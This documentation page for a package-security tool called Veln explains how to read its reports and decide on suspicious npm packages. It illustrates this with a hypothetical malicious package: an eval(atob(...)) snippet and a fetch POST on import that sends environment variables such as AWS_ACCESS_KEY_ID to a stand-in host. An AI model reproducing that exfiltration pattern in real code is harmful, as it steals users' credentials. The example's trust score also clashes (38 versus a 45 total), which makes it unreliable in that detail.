How to read a Veln security report
When Veln produces a non-allow verdict, it generates a security report in the Console at app.veln.sh/approvals/[id]. The report contains several sections, each answering a specific question. Here's how to read each one.
The verdict and score
The first thing you see is the verdict badge and trust score:
⊘ warn npm:some-analytics@2.1.0 trust score: 38/100
The score tells you how much evidence of safety Veln collected. 38 means several signals were weak or missing. It doesn't mean the package is definitely malicious — it means it hasn't earned enough trust for automatic approval.
The signal breakdown table
The report shows each of the eight trust signals with their individual scores:
Signal Score Detail
Version age (threshold: 2h) 0/20 Published 4 minutes ago
Consensus installs (min: 10) 0/25 0 community observations
Canary sandbox 20/20 Clean
Publisher account age 10/15 Account 8 months old
Metadata coherence 10/10 All checks passed
Signing key continuity 0/5 New key (no previous version)
No new install script 5/5 No hooks added
Veln Lens 0/5 2 findings (see below)
─────────────────────────────────────
Total 45/100 → WARN
This breakdown tells you exactly why the score is what it is. In this example: the package is brand new (0 points for version age and consensus) and has two Veln Lens findings (0 points for the clean bonus). Everything else is fine.
The Veln Lens findings section
If Veln Lens found obfuscation patterns, each finding is listed:
Veln Lens findings (score: 32/100)
[HIGH] eval_atob
File: lib/tracker.js:89
Detail: eval() called with atob() as argument.
This pattern decodes a base64 string and executes it at runtime.
Snippet: eval(atob("aW1wb3J0IGh0dHBz..."))
[INFO] high_entropy_string
File: lib/config.js:14
Detail: String with Shannon entropy 5.8 bits/char (threshold: 5.5).
May be an encoded payload or a legitimate base64 constant.
The HIGH finding is the important one. eval(atob(...)) is Veln Lens Rule 1 — the most common obfuscation technique in malicious packages. The INFO finding is lower priority and may be a false positive (config files often contain base64-encoded constants).
When you see a HIGH finding, the question to ask: is there a legitimate reason for this package to decode and execute a base64 string? For most packages, the answer is no.
The "what changed" section
For updates to packages you've installed before, the report shows a diff summary:
What changed from 2.0.9 → 2.1.0
+ New network call in lib/tracker.js:89 (inside function init())
fetch('https://api.analytics.example.com/collect', { method: 'POST' })
→ Called in module initialization code
+ New function: _send_data() in lib/tracker.js:72
→ Called from init() with process.env data
2 files changed, +47 lines, -3 lines
The diff summary is written in plain language. "New network call in module initialization code" is the specific phrase that should get your attention — most legitimate code doesn't make outbound calls when you import a module.
The sandbox report
If the canary sandbox ran, you see a behavioral summary:
Sandbox verdict: suspicious
Network calls: 1 outbound attempt
→ https://api.analytics.example.com/collect (POST) — BLOCKED
Filesystem: 0 writes outside package directory
Processes: 0 subprocesses spawned
Env vars read: AWS_ACCESS_KEY_ID, GITHUB_TOKEN, HOME, PATH
Note: The outbound POST contained base64-encoded data including
values from environment variables.
This is the most actionable section. The sandbox tells you what the package tried to do. In this case: it tried to POST to an analytics endpoint, and the POST contained encoded environment variables including AWS_ACCESS_KEY_ID. That's a data exfiltration attempt. The sandbox prevented it from succeeding, but it tells you with certainty what the package intended.
Making the decision
After reading the report, the decision tree is:
If the sandbox shows credential-adjacent env vars in a POST to an external endpoint: REJECT. This is a data exfiltration payload.
If Veln Lens shows HIGH findings with no legitimate explanation: REJECT. Review the specific file and line. If you can't explain why a base64 decode and eval is present, the package is likely malicious.
If the only reason for the WARN/HOLD is age and zero community installs: Investigate the publisher, check the package on PyPI/npm, read the source on GitHub. If everything looks legitimate, APPROVE and note "reviewed source, looks clean."
If you're unsure: Post the report link to your security team or ask in your company's #security channel. The report URL is shareable — app.veln.sh/approvals/[id].
Every Veln report is designed to give you enough information to make a confident decision.